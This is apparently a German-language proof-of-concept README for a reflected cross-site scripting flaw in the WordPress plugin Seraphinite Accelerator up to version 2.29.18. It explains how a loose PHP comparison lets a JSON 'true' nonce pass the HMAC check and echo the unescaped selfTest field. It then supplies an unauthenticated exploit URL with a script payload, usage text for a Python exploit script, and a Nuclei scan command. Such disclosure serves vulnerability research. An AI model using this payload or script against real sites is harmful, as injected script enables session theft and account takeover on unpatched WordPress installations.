
Seraphinite Accelerator <= 2.29.18 - Reflektiertes Cross-Site-Scripting PoC
Das Plugin signiert seine internen „prepare page“-Anfragen mit einem HMAC im Parameter seraph_accel_prep (base64-kodiertes JSON), vergleicht diesen jedoch mit dem lockeren != von PHP. Wird das JSON-Boolean true als nonce gesendet, ist der Vergleich immer erfolgreich, und das Feld selfTest wird anschließend ohne Escape-Behandlung als selfTest-<value> zurückgegeben.
Eine URL, keine Authentifizierung:
http://TARGET/?seraph_accel_prep=<base64 of {"_tm":"1","nonce":true,"selfTest":"<script>alert(document.domain)</script>"}>
Python (benötigt ):
pip install requestsusage: seraph_accel_xss.py [-h] --url URL [--payload PAYLOAD] [--timeout TIMEOUT]
Seraphinite Accelerator (WordPress) <= 2.29.18
options:
-h, --help show this help message and exit
--url URL target site, e.g. http://target-site.com
--payload PAYLOAD XSS payload (default: <script>alert(document.domain)</script>)
--timeout TIMEOUT seconds (default: 30)
Nuclei:
nuclei -u http://target-site.com -t seraphinite-accelerator-prep-xss.yaml -timeout 10
Das -timeout 10 ist erforderlich, weil der verwundbare Codepfad 5 Sekunden wartet, bevor er antwortet.